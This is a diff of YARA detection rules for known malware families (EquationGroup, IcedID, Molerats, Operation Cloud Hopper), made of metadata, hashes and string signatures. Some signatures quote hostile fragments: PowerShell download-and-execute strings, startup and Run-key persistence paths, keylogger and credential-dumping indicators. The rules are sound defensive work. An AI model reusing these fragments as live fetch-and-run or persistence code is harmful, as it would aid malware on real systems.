+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_malware_set_qa.yar#L139-L161"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0fa8e6c048bcc51553e8078a71416013696dd937c1508cd636873eab56c3797f"
+		score = 80
+		quality = 81
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b7902809a15c4c3864a14f009768693c66f9e9234204b873d29a87f4c3009a50"
+		hash1 = "ff3a2740330a6cbae7888e7066942b53015728c367cf9725e840af5b2a3fa247"
 
 	strings:
-		$s1 = "LSASS.EXE" fullword wide
-		$s2 = "hNtQueryInformationProcess" fullword ascii
-		$s3 = "hZwOpenProcess" fullword ascii
-		$s4 = ".?AVFeFinallyFailure@@" fullword ascii
+		$x1 = ".specialfolders (\"startup\") & \"\\ServerName.EXE\"" fullword ascii
+		$x2 = "expandenvironmentstrings(\"%%InsallDir%%\") " ascii
+		$s1 = "CreateObject(\"WScript.Shell\").Run(" ascii
+		$s2 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAA" ascii
+		$s3 = "cial Thank's to Dev-point.com" fullword ascii
+		$s4 = ".createElement(\"tmp\")" fullword ascii
+		$s5 = "'%CopyToStartUp%" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <90KB and ( all of ($s*))) or ( all of them )
+		( uint16(0)==0x4d27 and filesize <100KB and (1 of ($x*) or 4 of ($s*))) or (5 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Modifyaudit_Lp : FILE
+rule SIGNATURE_BASE_MAL_Icedid_GZIP_LDR_202104 : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file modifyAudit_Lp.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9dcfa774-0048-5bd9-ba7d-87bbdff9567a"
-		date = "2017-01-13"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1355-L1372"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a908d44b831a27bb584c5da936346f77f0e205658ec2ebe0e600004645894593"
+		description = "2021 initial Bokbot / Icedid loader for fake GZIP payloads"
+		author = "Thomas Barabosch, Telekom Security"
+		id = "fbf578e7-c318-5f67-82df-f93232362a23"
+		date = "2021-04-12"
+		modified = "2023-01-27"
+		reference = "https://www.telekom.com/en/blog/group/article/let-s-set-ice-on-fire-hunting-and-detecting-icedid-infections-627240"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_icedid.yar#L14-L40"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7a7cc6c7dcbf43bace6a1f259af38560327c34386517e719ad81068b2d9b6659"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2a1f2034e80421359e3bf65cbd12a55a95bd00f2eb86cf2c2d287711ee1d56ad"
 
 	strings:
-		$s1 = "Read of audit related process memory failed" fullword wide
-		$s2 = "** This may indicate that another copy of modify_audit is already running **" fullword wide
-		$s3 = "Pattern match of code failed" fullword wide
-		$s4 = "Base for necessary auditing dll not found" fullword wide
-		$s5 = "Security auditing has been disabled" fullword wide
+		$internal_name = "loader_dll_64.dll" fullword
+		$string0 = "_gat=" wide
+		$string1 = "_ga=" wide
+		$string2 = "_gid=" wide
+		$string4 = "_io=" wide
+		$string5 = "GetAdaptersInfo" fullword
+		$string6 = "WINHTTP.dll" fullword
+		$string7 = "DllRegisterServer" fullword
+		$string8 = "PluginInit" fullword
+		$string9 = "POST" wide fullword
+		$string10 = "aws.amazon.com" wide fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 3 of them ) or ( all of them )
+		uint16(0)==0x5a4d and filesize <5000KB and ($internal_name or all of ($s*)) or all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Processhide_Lp : FILE
+rule SIGNATURE_BASE_Molerats_Jul17_Sample_1 : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file ProcessHide_Lp.dll"
+		description = "Detects Molerats sample - July 2017"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b0842897-f591-5213-9a26-0f8732e6f3b8"
-		date = "2017-01-13"
+		id = "b5277255-3ced-5dc5-9490-c5829a0c248b"
+		date = "2017-07-07"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1374-L1393"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "407045f5ac8eeec4403560de406e5d382d38ae2f34d0e4c7d3cc9b94debdfad8"
+		reference = "https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_molerats_jul17.yar#L11-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1b7f00dfb83f5da46663d94f238b55e375743edbdb01701a78922b87c72c518a"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "cdee0daa816f179e74c90c850abd427fbfe0888dcfbc38bf21173f543cdcdc66"
+		hash1 = "ebf2423b9de131eab1c61ac395cbcfc2ac3b15bd9c83b96ae0a48619a4a38d0a"
 
 	strings:
-		$x1 = "Invalid flag.  Can only hide or unhide" fullword wide
-		$x2 = "Process elevation failed" fullword wide
-		$x3 = "Unknown error hiding process" fullword wide
-		$x4 = "Invalid process links found in EPROCESS" fullword wide
-		$x5 = "Unable to find SYSTEM process" fullword wide
-		$x6 = "Process hidden, but EPROCESS location lost" fullword wide
-		$x7 = "Invalid EPROCESS location for given ID" fullword wide
+		$s1 = "ezExODA0Y2U0LTkzMGEtNGIwOS1iZjcwLTlmMWE5NWQwZDcwZH0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{c00" wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 1 of them ) or (3 of them )
+		( uint16(0)==0x5a4d and filesize <200KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Pwdump_Implant : FILE
+rule SIGNATURE_BASE_Molerats_Jul17_Sample_2 : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file pwdump_Implant.dll"
+		description = "Detects Molerats sample - July 2017"
 		author = "Florian Roth (Nextron Systems)"
-		id = "55984c20-539e-5e51-b3c4-caa6157c993d"
-		date = "2017-01-13"
+		id = "7ef02003-83d1-5ec7-952d-1e693375dd4b"
+		date = "2017-07-07"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1395-L1410"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "20df7ef04154e317ee844545e541d62b3b8db4ac4800ba45a26b1092499c6e69"
+		reference = "https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_molerats_jul17.yar#L27-L42"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "35a517039474dcc5d503a48ca17e544166ee2ed44417ea5e7711093d3956f80c"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "dfd5768a4825d1c7329c2e262fde27e2b3d9c810653585b058fcf9efa9815964"
+		hash1 = "7e122a882d625f4ccac019efb7bf1b1024b9e0919d205105e7e299fb1a20a326"
 
 	strings:
-		$s1 = ".?AVFeFinallyFailure@@" fullword ascii
-		$s8 = ".?AVFeFinallySuccess@@" fullword ascii
-		$s3 = "\\system32\\win32k.sys" wide
+		$s1 = "Folder.exe" fullword ascii
+		$s2 = "Notepad++.exe" fullword wide
+		$s3 = "RSJLRSJOMSJ" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and all of them )
+		( uint16(0)==0x5a4d and filesize <1000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Equationdrug_Gen_5 : FILE
+rule SIGNATURE_BASE_Molerats_Jul17_Sample_3 : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file PC_Level3_http_dll"
+		description = "Detects Molerats sample - July 2017"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a67655eb-5593-5ac7-a6aa-81f235fa3c33"
-		date = "2017-01-13"
+		id = "e1a3323e-fe84-59e5-86d9-dca0c261e3c3"
+		date = "2017-07-07"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1412-L1428"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "834a7175a23c30301fce01482a2768d453368c7ca5c72ae52b2d266b31005991"
+		reference = "https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_molerats_jul17.yar#L44-L59"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4829905ede523fd9ed2cdf610f8fce4c0a5d993885e1897d1782ca70e96fa9a2"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4ebfc1f6ec6a0e68e47e5b231331470a4483184cf715a578191b91ba7c32094d"
+		hash1 = "995eee4122802c2dc83bb619f8c53173a5a9c656ad8f43178223d78802445131"
+		hash2 = "fec657a19356753008b0f477083993aa5c36ebaf7276742cf84bfe614678746b"
 
 	strings:
-		$s1 = "Psxssdll.dll" fullword wide
-		$s2 = "Posix Server Dll" fullword wide
-		$s3 = "itanium" fullword wide
-		$s6 = "Copyright (C) Microsoft" fullword wide
+		$s1 = "ccleaner.exe" fullword wide
+		$s2 = "Folder.exe" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and all of them )
+		( uint16(0)==0x5a4d and filesize <600KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_PC_Level3_Http_Flav_Dll : FILE
+rule SIGNATURE_BASE_Molerats_Jul17_Sample_4 : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file PC_Level3_http_flav_dll"
+		description = "Detects Molerats sample - July 2017"
 		author = "Florian Roth (Nextron Systems)"
-		id = "4bc4804b-c6d2-5c94-b451-24bb0f3dba43"
-		date = "2017-01-13"
+		id = "cad0c6a2-d286-52fa-b9b8-793ab9ae048f"
+		date = "2017-07-07"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1430-L1447"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "579539961e29c4da60dc632b1afd348e0d799e266f175a3bae7206b615d90f5b"
+		reference = "https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_molerats_jul17.yar#L61-L76"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dec058ae52a860f4850d7b8024b96c5a9044fdcebadbc12b384f5a6dfae91634"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "27972d636b05a794d17cb3203d537bcf7c379fafd1802792e7fb8e72f130a0c4"
+		hash1 = "512a14130a7a8b5c2548aa488055051ab7e725106ddf2c705f6eb4cfa5dc795c"
 
 	strings:
-		$s1 = "Psxssdll.dll" fullword wide
-		$s2 = "Posix Server Dll" fullword wide
-		$s4 = "itanium" fullword wide
-		$s5 = "RHTTP/1.0" fullword wide
-		$s8 = "Copyright (C) Microsoft" fullword wide
+		$x1 = "get-itemproperty -path 'HKCU:\\SOFTWARE\\Microsoft\\' -name 'KeyName')" wide
+		$x2 = "O.Run C & chrw(34) & \"[System.IO.File]::" wide
+		$x3 = "HKCU\\SOFTWARE\\Microsoft\\\\KeyName\"" fullword wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and all of them )
+		( filesize <700KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_LSADUMP_Lp : FILE
+rule SIGNATURE_BASE_Molerats_Jul17_Sample_5 : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file LSADUMP_Lp.dll"
+		description = "Detects Molerats sample - July 2017"
 		author = "Florian Roth (Nextron Systems)"
-		id = "8068ca41-6365-5c97-82f2-be9ad89628e0"
-		date = "2017-01-13"
+		id = "c9dd4f4a-a980-5339-b238-9f53360b89ae"
+		date = "2017-07-07"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1449-L1462"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f67a64ae7fece949d37367d85a28a879e90844e5cc56e88a85a1cce890990f55"
+		reference = "https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_molerats_jul17.yar#L78-L95"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "eb2bb54fc1749d8422cdc8e084e1fa66981611128f56e7d7d678f177d37b7cdd"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c7bf4c012293e7de56d86f4f5b4eeb6c1c5263568cc4d9863a286a86b5daf194"
+		hash1 = "ebf2423b9de131eab1c61ac395cbcfc2ac3b15bd9c83b96ae0a48619a4a38d0a"
 
 	strings:
-		$x1 = "LSADUMP - - ERROR - - Injected" fullword wide
+		$x1 = "powershell.exe -nop -c \"iex" nocase ascii
+		$x2 = ".run('%windir%\\\\SysWOW64\\\\WindowsPowerShell\\\\" ascii
+		$a1 = "Net.WebClient).DownloadString" nocase ascii
+		$a2 = "gist.githubusercontent.com" nocase ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 1 of them )
+		filesize <200KB and (1 of ($x*) or 2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Equationdrug_Mstcp32 : FILE
+rule SIGNATURE_BASE_Molerats_Jul17_Sample_Dropper : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file mstcp32.sys"
+		description = "Detects Molerats sample dropper SFX - July 2017"
 		author = "Florian Roth (Nextron Systems)"
-		id = "bed26a7b-933f-5578-b65c-65179959050d"
-		date = "2017-01-13"
-		modified = "2023-01-06"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1464-L1485"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "aff97f8360a0c24bfde6a1b2616749d6cad3b19993716231d32b8bb59579c638"
+		id = "b4622373-b496-51de-abaa-caa665b558b3"
+		date = "2017-07-07"
+		modified = "2023-12-05"
+		reference = "https://mymalwareparty.blogspot.de/2017/07/operation-desert-eagle.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_molerats_jul17.yar#L97-L112"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b356d8dbca8f4d11dda976e7eb03c993d05af35d13113b8c85fb07531a0203dc"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "26215bc56dc31d2466d72f1f4e1b6388e62606e9949bc41c28968fcb9a9d60a6"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ad0b3ac8c573d84c0862bf1c912dba951ec280d31fe5b84745ccd12164b0bcdb"
 
 	strings:
-		$s1 = "mstcp32.sys" fullword wide
-		$s2 = "p32.sys" fullword ascii
-		$s3 = "\\Registry\\User\\CurrentUser\\" wide
-		$s4 = "\\DosDevices\\%ws" wide
-		$s5 = "\\Device\\%ws_%ws" wide
-		$s6 = "sys\\mstcp32.dbg" fullword ascii
-		$s7 = "%ws%03d%ws%wZ" fullword wide
-		$s8 = "TCP/IP driver" fullword wide
-		$s9 = "\\Device\\%ws" wide
+		$s1 = "Please remove %s from %s folder. It is unsecure to run %s until it is done." fullword wide
+		$s2 = "sfxrar.exe" fullword ascii
+		$s3 = "attachment.hta" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 7 of them ) or ( all of them )
+		( uint16(0)==0x5a4d and filesize <1000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Nethide_Lp : FILE
+rule SIGNATURE_BASE_Opcloudhopper_Malware_1 : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file nethide_Lp.dll"
+		description = "Detects malware from Operation Cloud Hopper"
 		author = "Florian Roth (Nextron Systems)"
-		id = "39e96239-2189-5993-90ba-27e47f7bfdea"
-		date = "2017-01-13"
+		id = "28ca64ac-beee-51d9-96d4-a1f6d52823ec"
+		date = "2017-04-03"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1487-L1504"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "70e96a8ef5f75e05b3f6d32b9b8392316c3a70cb479549a3700134435b690473"
+		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cloudhopper.yar#L10-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1e024767797fb146b92d6e8c549597c0cda7c2f8fb961299a3808b9b2e924666"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "137749c0fbb8c12d1a650f0bfc73be2739ff084165d02e4cb68c6496d828bf1d"
+		hash1 = "27876dc5e6f746ff6003450eeea5e98de5d96cbcba9e4694dad94ca3e9fb1ddc"
 
 	strings:
-		$x1 = "Error: Attempt to hide all TCP connections (any:any)." fullword wide
-		$x2 = "privilegeRunInKernelMode failed" fullword wide
-		$x3 = "Failed to unhide requested connection" fullword wide
-		$x4 = "Nethide running in USER_MODE" fullword wide
-		$x5 = "Not enough slots for all of the list.  Some entries may have not been hidden." fullword wide
+		$s1 = "zok]\\\\\\ZZYYY666564444" fullword ascii
+		$s2 = "z{[ZZYUKKKIIGGGGGGGGGGGGG" fullword ascii
+		$s3 = "EEECEEC" fullword ascii
+		$s4 = "IIEFEE" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 1 of them ) or ( all of them )
+		( uint16(0)==0x5a4d and filesize <200KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_PC_Level4_Flav_Dll_X64 : FILE
+rule SIGNATURE_BASE_Opcloudhopper_Malware_2 : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file PC_Level4_flav_dll_x64"
+		description = "Detects Operation CloudHopper malware samples"
 		author = "Florian Roth (Nextron Systems)"
-		id = "f05dd0b6-106c-5d1d-ba09-4ac3035e7030"
-		date = "2017-01-13"
-		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1506-L1521"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9c874581567909055deeae4f992bd99c1e08d5f62655d1cc9a7316beb8513d8f"
-		score = 75
+		id = "7c0a3d68-5f6b-5491-b0c2-94e8cff478d1"
+		date = "2017-04-03"
+		modified = "2023-01-06"
+		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cloudhopper.yar#L28-L57"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dff8623c35c83c20fb525209ec9aa5d77b51fa494eb557845a8320c77746c02f"
+		score = 90
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "25a2549031cb97b8a3b569b1263c903c6c0247f7fff866e7ec63f0add1b4921c"
+		hash1 = "c1dbf481b2c3ba596b3542c7dc4e368f322d5c9950a78197a4ddbbaacbd07064"
 
 	strings:
-		$s1 = "wship.dll" fullword wide
-		$s2 = "   IP:      " fullword ascii
-		$s3 = "\\\\.\\%hs" fullword ascii
+		$x1 = "sERvEr.Dll" fullword ascii
+		$x2 = "ToolbarF.dll" fullword wide
+		$x3 = ".?AVCKeyLoggerManager@@" fullword ascii
+		$x4 = "GH0STCZH" ascii
+		$s1 = "%%SystemRoot%%\\System32\\svchost.exe -k \"%s\"" fullword wide
+		$s2 = "rundll32.exe \"%s\", UnInstall /update %s" fullword wide
+		$s3 = "\\Release\\Loader.pdb" ascii
+		$s4 = "%s\\%x.dll" fullword wide
+		$s5 = "Mozilla/4.0 (compatible)" fullword wide
+		$s6 = "\\syslog.dat" wide
+		$s7 = "NSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" fullword wide
+		$op1 = { 8d 34 17 8d 49 00 8a 14 0e 3a 14 29 75 05 41 3b }
+		$op2 = { 83 e8 14 78 cf c1 e0 06 8b f8 8b c3 8a 08 84 c9 }
+		$op3 = { 3b fb 7d 3f 8a 4d 14 8d 45 14 84 c9 74 1b 8a 14 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and all of them )
+		( uint16(0)==0x5a4d and filesize <900KB and (1 of ($x*) or 3 of ($s*)) or all of ($op*)) or (6 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_PC_Level4_Flav_Exe : FILE
+rule SIGNATURE_BASE_Opcloudhopper_Malware_3 : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file PC_Level4_flav_exe"
+		description = "Detects malware from Operation Cloud Hopper"
 		author = "Florian Roth (Nextron Systems)"
-		id = "eb93a798-4e7e-52dc-a39b-bfb63a58d250"
-		date = "2017-01-13"
+		id = "ad1d3b48-d48c-5011-ac51-c8047e1ee8ed"
+		date = "2017-04-03"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1523-L1541"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "975d327d5922e4b179a677501c2613186ea85299958a996dcdeb503b02495ff7"
+		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cloudhopper.yar#L59-L79"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d15b4c277e2c4dfe300f242e4cc9b217981166191a47939ca437c55391874b5d"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "33ba9f103186b6e52d8d69499512e7fbac9096e7c5278838127488acc3b669a9"
+		hash1 = "c21eaadf9ffc62ca4673e27e06c16447f103c0cf7acd8db6ac5c8bd17805e39d"
 
 	strings:
-		$s1 = "Extended Memory Runtime Process" fullword wide
-		$s2 = "memess.exe" fullword wide
-		$s3 = "\\\\.\\%hs" fullword ascii
-		$s4 = ".?AVOpenSocket@@" fullword ascii
-		$s5 = "Corporation. All rights reserved." fullword wide
-		$s6 = "itanium" fullword wide
+		$s6 = "operator \"\" " fullword ascii
+		$s7 = "zok]\\\\\\ZZYYY666564444" fullword ascii
+		$s11 = "InvokeMainViaCRT" fullword ascii
+		$s12 = ".?AVAES@@" fullword ascii
+		$op1 = { b6 4c 06 f5 32 cf 88 4c 06 05 0f b6 4c 06 f9 32 }
+		$op2 = { 06 fc eb 03 8a 5e f0 85 c0 74 05 8a 0c 06 eb 03 }
+		$op3 = { 7e f8 85 c0 74 06 8a 74 06 08 eb 03 8a 76 fc 85 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and all of them )
+		( uint16(0)==0x5a4d and filesize <600KB and ( all of ($s*) and 1 of ($op*)) or all of ($op*)) or (5 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Equationgroup_Processinfo_Implant : FILE
+rule SIGNATURE_BASE_Opcloudhopper_Dropper_1 : FILE
 {
 	meta:
-		description = "EquationGroup Malware - file processinfo_Implant.dll"
+		description = "Detects malware from Operation Cloud Hopper"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b110d819-2298-507b-91bb-2787bb11322e"
-		date = "2017-01-13"
+		id = "b43ffb7e-1643-5560-8719-9c63582920e7"
+		date = "2017-04-03"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/tcSoiJ"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1543-L1558"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b0aace3c6fa20c5bb238264b2aa484d548945a4c2ccb65482cce71427f061604"
+		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cloudhopper.yar#L81-L94"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ee0caf8a08db9a2a83f10178e2ee890b6b0bc6e699ebb3d01fa94fa48c6dfdee"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "aadfa0b1aec4456b10e4fb82f5cfa918dbf4e87d19a02bcc576ac499dda0fb68"
+		hash1 = "411571368804578826b8f24f323617f51b068809b1c769291b21125860dc3f4e"
 
 	strings:
-		$s1 = "hZwOpenProcessToken" fullword ascii
-		$s2 = "hNtQueryInformationProcess" fullword ascii
-		$s3 = "No mapping" fullword wide
